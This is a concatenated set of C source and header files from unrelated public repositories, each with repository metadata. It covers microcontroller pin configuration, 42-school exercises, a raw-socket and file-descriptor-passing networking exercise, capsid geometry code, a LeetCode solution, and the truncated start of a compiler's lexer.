MX_USART1_TX_GPIO_Mode GPIO_MODE_AF_PP /* Pin PA10 */ #define MX_USART1_RX_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_USART1_RX_Pin PA10 #define MX_USART1_RX_GPIOx GPIOA #define MX_USART1_RX_GPIO_PuPd GPIO_PULLUP #define MX_USART1_RX_GPIO_Pin GPIO_PIN_10 #define MX_USART1_RX_GPIO_AF GPIO_AF7_USART1 #define MX_USART1_RX_GPIO_Mode GPIO_MODE_AF_PP /*-------------------------------- USART2 --------------------------------*/ #define MX_USART2 1 #define MX_USART2_VM VM_ASYNC /* GPIO Configuration */ /* Pin PD5 */ #define MX_USART2_TX_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_USART2_TX_Pin PD5 #define MX_USART2_TX_GPIOx GPIOD #define MX_USART2_TX_GPIO_PuPd GPIO_PULLUP #define MX_USART2_TX_GPIO_Pin GPIO_PIN_5 #define MX_USART2_TX_GPIO_AF GPIO_AF7_USART2 #define MX_USART2_TX_GPIO_Mode GPIO_MODE_AF_PP /* Pin PA3 */ #define MX_USART2_RX_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_USART2_RX_Pin PA3 #define MX_USART2_RX_GPIOx GPIOA #define MX_USART2_RX_GPIO_PuPd GPIO_PULLUP #define MX_USART2_RX_GPIO_Pin GPIO_PIN_3 #define MX_USART2_RX_GPIO_AF GPIO_AF7_USART2 #define MX_USART2_RX_GPIO_Mode GPIO_MODE_AF_PP /*-------------------------------- USART3 --------------------------------*/ #define MX_USART3 1 #define MX_USART3_VM VM_ASYNC /* GPIO Configuration */ /* Pin PB10 */ #define MX_USART3_TX_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_USART3_TX_Pin PB10 #define MX_USART3_TX_GPIOx GPIOB #define MX_USART3_TX_GPIO_PuPd GPIO_PULLUP #define MX_USART3_TX_GPIO_Pin GPIO_PIN_10 #define MX_USART3_TX_GPIO_AF GPIO_AF7_USART3 #define MX_USART3_TX_GPIO_Mode GPIO_MODE_AF_PP /* Pin PB11 */ #define MX_USART3_RX_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_USART3_RX_Pin PB11 #define MX_USART3_RX_GPIOx GPIOB #define MX_USART3_RX_GPIO_PuPd GPIO_PULLUP #define MX_USART3_RX_GPIO_Pin GPIO_PIN_11 #define MX_USART3_RX_GPIO_AF GPIO_AF7_USART3 #define MX_USART3_RX_GPIO_Mode GPIO_MODE_AF_PP /*-------------------------------- USART6 --------------------------------*/ #define MX_USART6 1 #define MX_USART6_VM VM_ASYNC /* GPIO Configuration */ /* Pin PC7 */ #define MX_USART6_RX_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_USART6_RX_Pin PC7 #define MX_USART6_RX_GPIOx GPIOC #define MX_USART6_RX_GPIO_PuPd GPIO_PULLUP #define MX_USART6_RX_GPIO_Pin GPIO_PIN_7 #define MX_USART6_RX_GPIO_AF GPIO_AF8_USART6 #define MX_USART6_RX_GPIO_Mode GPIO_MODE_AF_PP /* Pin PC6 */ #define MX_USART6_TX_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_USART6_TX_Pin PC6 #define MX_USART6_TX_GPIOx GPIOC #define MX_USART6_TX_GPIO_PuPd GPIO_PULLUP #define MX_USART6_TX_GPIO_Pin GPIO_PIN_6 #define MX_USART6_TX_GPIO_AF GPIO_AF8_USART6 #define MX_USART6_TX_GPIO_Mode GPIO_MODE_AF_PP /*-------------------------------- NVIC --------------------------------*/ #define MX_NVIC 1 /*-------------------------------- GPIO --------------------------------*/ #define MX_GPIO 1 /* GPIO Configuration */ #endif /* __MX_DEVICE_H */
adb3a03655ff5e92c0c5cd77e3a9ceca80429dce
0c6baa00b1d4e2fdbd2bffc43d47958d36516897
/ft_striter.c
4f5d9620bd698f7652794bf0bb71de13859e176c
[]
no_license
bwilhelm42/libft
659aaa925d29d94f10cabc55fe576a839f3fd1bc
4b679a8276389f4baf54d1cff7843df1976a578a
refs/heads/master
2020-12-02T00:48:20.225625
2020-09-25T15:17:03
2020-09-25T15:17:03
230,834,751
0
0
null
null
null
null
UTF-8
C
false
false
1,003
c
ft_striter.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_striter.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: bwilhelm <marvin@42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/02/20 14:00:04 by bwilhelm #+# #+# */ /* Updated: 2020/02/20 14:30:26 by bwilhelm ### ########.fr */ /* */ /* ************************************************************************** */ #include "libft.h" void ft_striter(char *s, void (*f)(char*)) { while (*s != '\0') { (*f)(s); s++; } }
9b9dc4ce60a73796bddbb4ecdf7ca6630f6b73b9
d4dfbfed469d3b908a0e85366fdd3ecb10d691d5
/srcs/load_map.c
6d23256384794b6f2e50f7c8c79f302079e61b17
[]
no_license
0renisme/so_long
93183a043dc722555883acf79896139015742fb4
cdf7a1133985d0085527a82e342f63e98a1b196f
refs/heads/main
2023-08-23T14:05:54.835680
2021-10-27T11:15:23
2021-10-27T11:15:23
null
0
0
null
null
null
null
UTF-8
C
false
false
2,959
c
load_map.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* load_map.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: orfreoua <marvin@42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/10/24 15:07:35 by orfreoua #+# #+# */ /* Updated: 2021/10/24 15:08:56 by orfreoua ### ########.fr */ /* */ /* ************************************************************************** */ #include "../header/so_long.h" int valid_char(t_data *data, char c, int x, int y) { int index; int len; len = ft_strlen(data->map.map[x]); index = find_index(c, "10PCE"); if (index == 0) return (SUCCESS); if (index == -1) return (FAIL); if (c == 'P') { data->map.map[x][y] = '0'; data->player.pos.x = x; data->player.pos.y = y; data->player.nb_p++; } else if (c == 'C') data->collectible.nb_c++; else if (c == 'E') data->exit.nb_e++; if ((x == 0 || y == 0) || (y == len)) return (FAIL); return (SUCCESS); } int check_map(t_data *data, int x, int y) { while (data->map.map[x - 1][++y]) { if (data->map.map[x - 1][y] != '1') return (error(FAIL, "bad map")); } if (data->player.nb_p != 1 || data->exit.nb_e < 1 || data->collectible.nb_c < 1 || y != data->map.grid_width) return (error(FAIL, "bad map")); return (SUCCESS); } int good_map(t_data *data) { int x; int y; x = 0; data->map.grid_width = ft_strlen(data->map.map[x]); while (data->map.map[x]) { y = 0; while (data->map.map[x][y]) { if (!valid_char(data, data->map.map[x][y], x, y)) return (FAIL); y++; } if (data->map.map[x][y - 1] != '1') return (FAIL); if (y != data->map.grid_width) return (error(FAIL, "map are not rectangle")); x++; } data->map.grid_height = x; y = 0; return (check_map(data, x, y)); } int check_name(char *n) { int i; i = 0; while (n[i]) { if (n[i] == '.') { if ((n[i + 1] && n[i + 1] == 'b') && (n[i + 2] && n[i + 2] == 'e') && (n[i + 3] && n[i + 3] == 'r') && (!n[i + 4])) return (SUCCESS); } i++; } return (error(FAIL, "bad name file")); } int load_map(t_data *data, void *file) { int size; if (!check_name(file)) return (FAIL); size = size_of_map(file); data->map.map = malloc(sizeof(char *) * size); if (!data->map.map) return (error(FAIL, "error malloc the map 2d")); if (fill_map(data, file, 1, 0) == 0) return (FAIL); if (!good_map(data)) { free_tab_two_d(data->map.map); return (error(FAIL, "Not a good map")); } return (SUCCESS); }
747ecd5dd568a1bd15dae73372360037eecd2a98
b72ca2a9e7a9365ebf7b655ce0d3daabb6e9461c
/RawSockets/p3/platform.c
f5b3428028621c5f764bf5b7062e55f03682bf80
[]
no_license
aaniket/Computer-Networks
5ff81162514ce2f2f54c80cfaf4b5131e1d5f878
3a2354861fd9987e303703ef7cd09282af974b19
refs/heads/master
2021-01-09T20:23:04.497964
2016-07-20T00:59:52
2016-07-20T00:59:52
63,738,207
0
0
null
null
null
null
UTF-8
C
false
false
3,431
c
platform.c
#include <stdio.h> #include <string.h> #include <sys/socket.h> #include <stdlib.h> #include <errno.h> #include <netinet/tcp.h> #include <netinet/ip.h> #include <assert.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/un.h> #include <signal.h> #include <sys/sem.h> #include <sys/types.h> #include <fcntl.h> #include <netdb.h> #include <pthread.h> #include <unistd.h> #define BUFF 4096 //platform struct MSG{ int type; char msg[256]; }msg; char SOCKET_PATH[128]; int usfd, rsfd_a, rsfd_c; struct sockaddr_un addr; int rsfd; int create_unix_socket(){ int usfd=socket(AF_UNIX, SOCK_STREAM, 0); assert(usfd>=0); addr.sun_family=AF_UNIX; memcpy(&addr.sun_path, SOCKET_PATH, strlen(SOCKET_PATH)); unlink(SOCKET_PATH); int st=bind(usfd, (struct sockaddr*)&addr, sizeof addr); assert(st>=0); listen(usfd, 10); return usfd; } int createRawSocket(int protocol_num){ int s=socket(AF_INET, SOCK_RAW, protocol_num); assert(s!=-1); return s; } void* recv_announce(void* arg){ int* args=(int*)arg; int fd=*args; char datagram[4096]; struct sockaddr_in recv; while(1){ memset(datagram, 0, BUFF); int len; recvfrom(rsfd, datagram, sizeof datagram, 0, (struct sockaddr*)&recv, &len); char* data=datagram+sizeof (struct iphdr); while((*data)!='\0'){ printf("%c", *data); data++; } printf("\n"); } } void* recv_cable(void* arg){ int* args=(int*)arg; int fd=*args; char datagram[4096]; struct sockaddr_in recv; while(1){ memset(datagram, 0, BUFF); int len; recvfrom(rsfd, datagram, sizeof datagram, 0, (struct sockaddr*)&recv, &len); char* data=datagram+sizeof (struct iphdr); while((*data)!='\0'){ printf("%c", *data); data++; } printf("\n"); } } int recv_fd(int uunsfd){ struct msghdr message; struct iovec iov; struct cmsghdr *control_msg = NULL; char ctrl_buf[CMSG_SPACE(sizeof(int))]; char data[1]; memset(&message, 0, sizeof(struct msghdr)); memset(ctrl_buf, 0, CMSG_SPACE(sizeof(int))); data[0]=' '; iov.iov_base = data; iov.iov_len = sizeof(data); message.msg_name = NULL; message.msg_namelen = 0; message.msg_iov = &iov; message.msg_iovlen = 1; message.msg_control = ctrl_buf; message.msg_controllen = CMSG_SPACE(sizeof(int)); control_msg = CMSG_FIRSTHDR(&message); control_msg->cmsg_level = SOL_SOCKET; control_msg->cmsg_type = SCM_RIGHTS; control_msg->cmsg_len = CMSG_LEN(sizeof(int)); while(1){ int x=recvmsg(uunsfd, &message, 0); if(x>=0){ printf("received\n"); control_msg = CMSG_FIRSTHDR(&message); int clientfd; memcpy(&clientfd, CMSG_DATA(control_msg), sizeof (int)); return clientfd; } } } pthread_t ann, cab; int parent_id; void inform(){ kill(parent_id, SIGUSR1); } int main(int argc, char* argv[]){ printf("pid: %d\n", getpid()); strcpy(SOCKET_PATH, argv[1]); usfd=create_unix_socket(); assert(usfd!=-1); printf("usfd: %d\n", usfd); // rsfd_a=createRawSocket(55); // rsfd_c=createRawSocket(65); int *tmp=&rsfd_a; //pthread_create(&ann, NULL, recv_announce, (void*)tmp); int *tmp1=&rsfd_c; //pthread_create(&cab, NULL, recv_cable, (void*)tmp1); scanf("%d", &parent_id); while(1){ int cfd=recv_fd(usfd); assert(cfd!=-1); while(1){ int l=read(cfd, &msg, sizeof msg); if(msg.type==0){ inform(); break; } printf("%s\n", msg.msg); } } return 0; }
7c461e1073ea8399b6dba90aae3b0ea2566cf3a1
662baf3158d3809091f4c9180f1b0d7134203510
/src/cell_axis_fit.c
3420c6504fa26c9334f79b71f0caa452d8da4c02
[ "BSD-2-Clause" ]
permissive
picorna/caplib
ebc6d45674551ac3ce52ff9665807d9cf5541cd4
961210f9b6b0e777547c0899cd1b675794979197
refs/heads/master
2023-06-23T15:10:26.462672
2023-06-19T14:01:44
2023-06-19T14:01:44
117,801,384
0
0
null
null
null
null
UTF-8
C
false
false
6,256
c
cell_axis_fit.c
/* * CAPLIB - CAPsid LIBrary (beta-version) * * For Calculations on Icosahedrally Symmetric Virus Capsid Structures * * The source codes reported in the following article is contained in this directory, * Shigetaka Yoneda, Yukina Hara-Yamada, Aya Kosugi, Maiko Nanao, Takami Saito, Shunsuke Sato, Nozomu Yamada, and Go Watanabe, * "CAPLIB: A New Program Library for the Modeling and Analysis of Icosahedrally Symmetric Viral Capsids", * ACS Omega 2018, 3, 4458−4465. * * The purpose of this library is to analyze directions of rotation axes, calculate cell numbers, * generate the entire structure of capsid from protomer struture, etc. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, version 2. * * Febrary, 2018. */ /* * capaxis - calculations on icosahedrally symmetric virus capsid structures * analyse directions of rotation axes, calculate cell numbers, and generate the entire * structure of a capsid from a protomer struture * copyright 2004, 2011, Shigetaka Yoneda * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, version 2. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * Shigetaka Yoneda, September, 2011. */ #include <stdio.h> #include <stdlib.h> #include <math.h> #include "planes.h" void make_orthogonal_matrix(double [3][3],double [3],double [3]); /* 1) find the center of all the atoms 2) find the nearest 5fold, 3fold, two 2fold axes to the center determined above 3) find a rotation matrix to overlay the 5fold, 3fold and one 2fold axes determined above onto the equivalent axes of the 2PLV protomer 4) rotate the atomic coordinates by the rotation matrix determined above 5) calculate the cell numbers of the atoms for the rotated atom (this 5) is to be calculated in calc_cell.c */ int cell_axis_fit(int f_verbose,int natoms,double *pdb_xyz,double axis[60][3], double theta[60],double rot_fit[3][3]){ // axis[60][3] is rotation axes determined by analyse_biomt.c from the BIOMT lines in PDB file double *xyz; double center[3]; double d,dmax[5]; int dmaxaxis[5]; int i,j,k; int iaxis5,iaxis3; double amatrix[3][3],bmatrix[3][3]; int debug = 0; // calculate the center of atoms, center[3] xyz = pdb_xyz; center[0] = 0.; center[1] = 0.; center[2] = 0.; for (i=0; i<natoms; i++) { center[0] += *xyz++; center[1] += *xyz++; center[2] += *xyz++; } center[0] /= natoms; center[1] /= natoms; center[2] /= natoms; //printf("center = %8.3f %8.3f %8.3f\n",center[0],center[1],center[2]); // calculate the nearest 5 rotation axes to the center, center[3] dmax[0] = 0.; dmax[1] = 0.; dmax[2] = 0.; dmax[3] = 0.; dmax[4] = 0.; for (i=0; i<60; i++) { if(fabs(theta[i]) < 0.001) continue; d = center[0]*axis[i][0] + center[1]*axis[i][1] + center[2]*axis[i][2]; d /= sqrt(axis[i][0]*axis[i][0] + axis[i][1]*axis[i][1] + axis[i][2]*axis[i][2]); if (debug == 1) { printf("i=%d theta=%f d=%f\n",i,theta[i],d); } for (j=0; j<5; j++) { if (d > dmax[j]) { for (k=3; k>=j; k--) { dmax[k+1] = dmax[k]; dmaxaxis[k+1] = dmaxaxis[k]; } dmax[j] = d; dmaxaxis[j] = i; break; } } } iaxis5 = -1; iaxis3 = -1; // find the nearest 5fold axes for (j=0; j<5; j++) { i = dmaxaxis[j]; if (debug == 1) { printf("5fold loop: i = %d theta = %f\n",i,theta[i]); } if (fabs(theta[i]-72.) < 1.0 || fabs(theta[i]-144.) < 1.0) { iaxis5 = i; break; } } if(iaxis5 == -1) { fprintf(stderr,"no nearest 5fold axis in axis fitting in cell_axis.c\n"); return EXIT_FAILURE; } // find the nearest 3fold axes for (j=0; j<5; j++) { i = dmaxaxis[j]; if (debug == 1) { printf("3fold loop: i = %d theta = %f\n",i,theta[i]); } if (fabs(theta[i]-120.) < 1.0 || fabs(theta[i]-240.) < 1.0) { iaxis3 = i; break; } } if(iaxis3 == -1) { fprintf(stderr,"no nearest 3fold axis fitting in cell_axis.c\n"); return EXIT_FAILURE; } if (debug == 1) { printf(""); } /* By the above, the nearest 5fold and 3fold axes (iaxis5 and iaxis3) were determined. The cell (5fold and 3fold) from the BIOMT lines of PDB file is overalaid onto the 2PLV one by a rotation matrix, rot_fit[3][3]. rot_fit is determined by the following equation, A = rot_fit * B where A and B are orthogonal matrices, and * denotes multiplication of matrices. A is built from the two axes (iaxis5 and iaxis3) of 2PLV cell zero and B is built from the three axes of BIOMT lines similarly. Thus, rot_fit = A * tB where tB is transpose of B, because the inverse matrix of B is the transpose of B. */ /*double xtmp1[3] = {1.,0.,0.}; double xtmp2[3] = {0.,1.,0.}; double ytmp1[3] = {0.,1.,0.}; double ytmp2[3] = {0.,0.,1.}; double ztmp[3] = {2.,1.,0.}; double ztmp2[3]; make_orthogonal_matrix(amatrix,xtmp1,xtmp2); make_orthogonal_matrix(bmatrix,ytmp1,ytmp2); for (i=0; i<3; i++) { for (j=0; j<3; j++) { rot_fit[i][j] = amatrix[i][0]*bmatrix[j][0] + amatrix[i][1]*bmatrix[j][1] + amatrix[i][2]*bmatrix[j][2]; } } for (i=0; i<3; i++) { ztmp2[i] = rot_fit[i][0]*ztmp[0] + rot_fit[i][1]*ztmp[1] + rot_fit[i][2]*ztmp[2]; } printf("ztmp2 = %8.3f %8.3f %8.3f\n",ztmp2[0],ztmp2[1],ztmp2[2]); exit(1); */ //printf("iaxis5 = %d iaxis3 = %d\n",iaxis5,iaxis3); make_orthogonal_matrix(bmatrix,&axis[iaxis5][0],&axis[iaxis3][0]); // cell 0 has 5fold axis, 0, and 3 fold axis, 1-2-3 (cdh, 0-1-2) make_orthogonal_matrix(amatrix,&rsbc_planes.axis5[0][0],&rsbc_planes.axis3[4][0]); for (i=0; i<3; i++) { for (j=0; j<3; j++) { rot_fit[i][j] = amatrix[i][0]*bmatrix[j][0] + amatrix[i][1]*bmatrix[j][1] + amatrix[i][2]*bmatrix[j][2]; } if (debug == 2) { printf("rot_fit = %8.3f%8.3f%8.3f\n",rot_fit[i][0],rot_fit[i][1],rot_fit[i][2]); } } return EXIT_SUCCESS; }
5280e427099ba9f49808b3bad05d7a491f610217
2457aaee9173fc92da646311f2f7e55abe28a8ad
/ex00/prints.c
d972fd419bd53520c717fb895f5f474a08fce264
[]
no_license
Almudena43/Piscina
63598926abe720754417991342bfa22eb71e4483
f184a29f1eb97e292a525ddbcbfc9128f2ceaa0a
refs/heads/master
2022-05-09T08:00:12.975541
2022-04-07T13:15:38
2022-04-07T13:15:38
233,663,826
0
0
null
null
null
null
UTF-8
C
false
false
2,038
c
prints.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* prints.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: spineda- <spineda-@student.42barcel> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/12/19 18:57:41 by spineda- #+# #+# */ /* Updated: 2021/12/19 18:57:44 by spineda- ### ########.fr */ /* */ /* ************************************************************************** */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include "rush.h" int print_key_num(char num, struct s_dicc *dic, int num_keys, int dig) { int i; char str[3]; i = 0; str[0] = num; if (num != '0') { if (dig == 2) { str[1] = '0'; str[2] = '\0'; } else str[1] = '\0'; dig = 1; while (i < num_keys) { if (str_comp(dic[i].key, str, dig) != 0) { ft_putstr(dic[i].value); } i++; } } return (dig--); } void print_key_post(int dig, struct s_dicc *dic, int num_keys) { char *val_dig; int i; val_dig = malloc((dig + 1) * sizeof(char)); val_dig[0] = '1'; i = 0; while (i < (dig - 1)) { val_dig[i + 1] = '0'; i++; } val_dig[i + 1] = '\0'; i = 0; while (i < num_keys) { if (str_comp(dic[i].key, val_dig, dig) != 0) { ft_putstr(dic[i].value); } i++; } free(val_dig); } void print_key_dec(char num, char num_dos, struct s_dicc *dic, int num_keys) { char dec[3]; int i; dec[0] = num; dec[1] = num_dos; dec[2] = '\0'; i = 0; while (i < num_keys) { if (str_comp(dic[i].key, dec, 2) != 0) { ft_putstr(dic[i].value); } i++; } }
33f7e1d8ff340ea63ed4bd6e6f60578dd20d578a
a2c78952e61c1ef1ca14e6db219dbcba5c840a40
/vm_dir/parse_argv.c
ace37e37687455a98c4fe6f478cda1bdbbb9d2ad
[]
no_license
mrxx0/Corewar_42
34782e3472b477fdb4fddda4473084d537ae3c97
9624261a1b843a0b94aec2a319a3258b3015f0d6
refs/heads/master
2022-04-08T22:21:55.646837
2020-03-26T08:41:49
2020-03-26T08:41:49
null
0
0
null
null
null
null
UTF-8
C
false
false
2,229
c
parse_argv.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* parse_argv.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: jleblond <jleblond@student.42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/02/13 11:15:04 by jleblond #+# #+# */ /* Updated: 2020/02/25 17:23:33 by jleblond ### ########.fr */ /* */ /* ************************************************************************** */ #include "vm.h" static void activate_v_flag(t_vm *vm, int *i) { vm->flags = vm->flags | V_FLAG; (*i)++; } static void activate_p_flag(t_vm *vm, int *i) { vm->flags = vm->flags | P_FLAG; (*i)++; } static t_bool fill_id_tab(t_vm *vm, int *i, char const *argv, t_id_tab id_tab[MAX_PLAYERS]) { if (vm->player_nb >= 4) { ft_putstr_fd("ERROR: number of Player surpassed\n", 2); return (FALSE); } id_tab[vm->player_nb].argv = argv; id_tab[vm->player_nb].id = 0; (*i)++; vm->player_nb++; return (TRUE); } /* ** go through argv to : ** 1. get dump value, option n value, activate v flag if exist; ** 2. stock argv of player file in id_tab */ t_bool parse_argv(t_vm *vm, int argc, char const **argv, t_id_tab id_tab[MAX_PLAYERS]) { t_bool ok; int i; i = 1; ok = TRUE; while (ok && i < argc) { if (ft_strcmp(argv[i], "-dump") == 0) ok = get_dump_value(argc, argv, &i, vm); else if (ft_strcmp(argv[i], "-v") == 0) activate_v_flag(vm, &i); else if (ft_strcmp(argv[i], "-p") == 0) activate_p_flag(vm, &i); else if (ft_strcmp(argv[i], "-n") == 0 && i + 2 < argc) ok = get_n_value(argv, &i, vm, id_tab); else if (is_valid_filename(argv[i])) ok = fill_id_tab(vm, &i, argv[i], id_tab); else ok = FALSE; } if (vm->player_nb < 1 || vm->player_nb > 4) ok = FALSE; return (ok); }
c057efe3c288a08c4006e7e7172f11a87461d46e
8a4f7a2118ea2fa79cc9bf30f11bf142f7a5f9ee
/algorithm/algorithm/string/T572-subtree-of-another-tree.c
716b7538a0271cb63753ca94e91e194a72a6579f
[ "MIT" ]
permissive
youshihou/leetcode-algorithm
b30ee9fa7fdf29b6b66f9aac86d3ec400aa9204e
3f2c277b9d020a9c4dbd235caa26b6d0437c84aa
refs/heads/master
2023-06-20T20:13:37.098293
2021-07-31T16:40:07
2021-07-31T16:40:07
257,138,678
1
0
null
null
null
null
UTF-8
C
false
false
1,171
c
T572-subtree-of-another-tree.c
// // T572-subtree-of-another-tree.c // algorithm // // Created by Ankui on 4/25/20. // Copyright © 2020 Ankui. All rights reserved. // // https://leetcode-cn.com/problems/subtree-of-another-tree/ #include "T572-subtree-of-another-tree.h" #include "algorithm-common.h" /** * Definition for a binary tree node. * struct TreeNode { * int val; * struct TreeNode *left; * struct TreeNode *right; * }; */ void serialize(struct TreeNode* s, char* r) { if (s->left == NULL) { strcat(r, "#!"); } else { serialize(s->left, r); } if (s->right == NULL) { strcat(r, "#!"); } else { serialize(s->right, r); } char val[128]; // CARE!!! sprintf(val, "%d!", s->val); strcat(r, val); } char* post_serialize(struct TreeNode* s) { char *r = malloc(sizeof(char) * 102400); // CARE!!! memset(r, 0, sizeof(char) * 102400); // CARE!!! serialize(s, r); return r; } bool isSubtree(struct TreeNode* s, struct TreeNode* t) { if (s == NULL || t == NULL) { return false; } char* rs = post_serialize(s); char* ts = post_serialize(t); return strstr(rs, ts); }
c8347d9aafa0d876573902b61a5e4921e3803bd1
24c813377630c4b96c5a75af4e80aa3ea0d35f23
/程序/3-5.c
50aaa2cd4d32ad28e5bf1f10e64c33600e1cea20
[]
no_license
aoine/C-Programming-Language-experiment
2126fa8db34f34961f9ba427eb0a48f5f7f940c4
dd704811a8b9a2c193efa80a448965fd46a364b4
refs/heads/master
2020-05-05T03:08:43.185471
2019-06-01T16:20:29
2019-06-01T16:20:29
179,662,402
0
0
null
null
null
null
UTF-8
C
false
false
141
c
3-5.c
#include <stdio.h> int main() { int h, m; h = 560 / 60; m = 560 - h*60; printf(" 560min\n =\n h = %d\n m = %d \n", h, m); return 0; }
e6aa6be0fa548b706d243fe3cf618a2f5be77b76
343eb563d39d8dd3c197a699610bff9e8a0cded9
/mcu/xdk-asf-3.48.0/sam/applications/starter_kit_bootloader_demo/bootloader/memories.h
f43391622aeb0893eca8d8c40d1bbdaf250db331
[]
no_license
philb/etherz
3c9d2aaca37ccf46f51dd742ad5d48a6f416c28c
3ca7b9411d00c6988850fc0e14c2f2ca511c0b90
refs/heads/main
2023-05-07T13:43:04.938810
2021-05-31T11:28:02
2021-05-31T11:28:02
345,592,954
2
0
null
null
null
null
UTF-8
C
false
false
2,323
h
memories.h
/** * \file * * Copyright (c) 2014-2018 Microchip Technology Inc. and its subsidiaries. * * \asf_license_start * * \page License * * Subject to your compliance with these terms, you may use Microchip * software and any derivatives exclusively with Microchip products. * It is your responsibility to comply with third party license terms applicable * to your use of third party software (including open source software) that * may accompany Microchip software. * * THIS SOFTWARE IS SUPPLIED BY MICROCHIP "AS IS". NO WARRANTIES, * WHETHER EXPRESS, IMPLIED OR STATUTORY, APPLY TO THIS SOFTWARE, * INCLUDING ANY IMPLIED WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY, * AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT WILL MICROCHIP BE * LIABLE FOR ANY INDIRECT, SPECIAL, PUNITIVE, INCIDENTAL OR CONSEQUENTIAL * LOSS, DAMAGE, COST OR EXPENSE OF ANY KIND WHATSOEVER RELATED TO THE * SOFTWARE, HOWEVER CAUSED, EVEN IF MICROCHIP HAS BEEN ADVISED OF THE * POSSIBILITY OR THE DAMAGES ARE FORESEEABLE. TO THE FULLEST EXTENT * ALLOWED BY LAW, MICROCHIP'S TOTAL LIABILITY ON ALL CLAIMS IN ANY WAY * RELATED TO THIS SOFTWARE WILL NOT EXCEED THE AMOUNT OF FEES, IF ANY, * THAT YOU HAVE PAID DIRECTLY TO MICROCHIP FOR THIS SOFTWARE. * * \asf_license_stop * */ /* * Support and FAQ: visit <a href="https://www.microchip.com/support/">Microchip Support</a> */ #ifndef MEMORY_H_INCLUDED #define MEMORY_H_INCLUDED #ifdef MEM_USE_FLASH /* if dual bank flash */ #ifndef IFLASH_ADDR # define IFLASH_ADDR IFLASH0_ADDR #endif /* if dual bank flash */ #ifndef IFLASH_PAGE_SIZE # define IFLASH_PAGE_SIZE IFLASH0_PAGE_SIZE #endif #define memory_init mem_flash_init #define memory_cleanup mem_flash_cleanup #define memory_erase mem_flash_erase #define memory_write mem_flash_page_write #define memory_next mem_flash_page_next #define memory_lock mem_flash_lock #define memory_unlock mem_flash_unlock #define memory_flush() void mem_flash_init(void); void mem_flash_cleanup(void); uint32_t mem_flash_erase(void * addr,uint32_t size); bool mem_flash_page_write(void * addr,void * data); void *mem_flash_page_next(void * addr); bool mem_flash_lock(void * start,void * end); bool mem_flash_unlock(void * start,void * end); #endif /* #ifdef MEM_USE_FLASH */ #endif
194de68fd5a042dbd98ff12d3c37985307210295
18628e7ceaf3b583eedeccf46dea78387c70d3bb
/src/carmlc.c
81351f0cab41aa9015b6fe9b39579ecd15aad968
[ "ISC", "LicenseRef-scancode-unknown-license-reference" ]
permissive
waywardmonkeys/carML
04d23fb13f97f8de77f7012de5e61e3f6a79a2c2
a29d636b794fedcc5df01f098cbcea297069b6d9
refs/heads/master
2021-09-04T09:04:12.921368
2018-01-15T16:11:31
2018-01-15T16:11:31
117,849,201
0
0
null
2018-01-17T14:43:46
2018-01-17T14:43:45
null
UTF-8
C
false
false
204,922
c
carmlc.c
#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <gc.h> #ifdef DEBUG #define debugln printf("dying here on line %d?\n", __LINE__); #define dprintf(...) printf(__VA_ARGS__) #define dwalk(x, y) walk(x, y) #else #define debugln #define dprintf(...) #define dwalk(x, y) #endif #define nil NULL #define nul '\0' #define YES 1 #define NO 0 #define hmalloc GC_MALLOC #define cwalk(head, level) llcwalk(head, level, NO) /* Lexical analysis states. * basically, the tokenizer is a * statemachine, and this enum represents * all the state machine states. Because * we use a decision tree (encoded in an SM) * for parsing out keywords, there are lots * of state productions here. */ typedef enum { LSTART, LDEF0, LDEF1, LDEF2, LE0, LELSE1, LELSE2, LELSE3, LVAL0, LVAL1, LVAL2, LT0, LTHEN0, LTHEN1, LTHEN2, LTYPE0, LTYPE1, LTYPE2, LBEGIN0, LBEGIN1, LBEGIN2, LBEGIN3, LBEGIN4, LEQ0, LNUM0, LIDENT0, LEND0, LEND1, LEND2, LMATCH0, LCOMMENT, LMCOMMENT, LPOLY0, LPOLY1, LPOLY2, LPOLY3, LRECORD0, LIF0, LIF1, LRECORD1, LRECORD2, LRECORD3, LRECORD4, LRECORD5, LMATCH1, LMATCH2, LMATCH3, LMATCH4, LMATCH5, LEOF, LWHEN0, LWHEN1, LWHEN2, LWHEN3, LNEWL, LDO0, LDO1, LD0, LTRUE0, LTRUE1, LTRUE3, LTRUE4, LFALSE0, LFALSE1, LFALSE2, LFALSE3, LFALSE4, LFALSE5, LFN0, LFN1, LCASE0, LCASE1, LCASE2, LCASE3, LCASE4, LLET0, LLET1, LLET2, LLETREC0, LLETREC1, LLETREC2, LLETREC3, LLETREC4, LLETREC5, LLETREC6, LL0, LCHAR0, LCHAR1, LCHAR2, LCHAR3, LSTRT0, LSTRT1, LSTRT2, LSTRT3, LSTRT4, LSTRT5, LSTRT6, LINTT0, LINTT1, LINTT2, 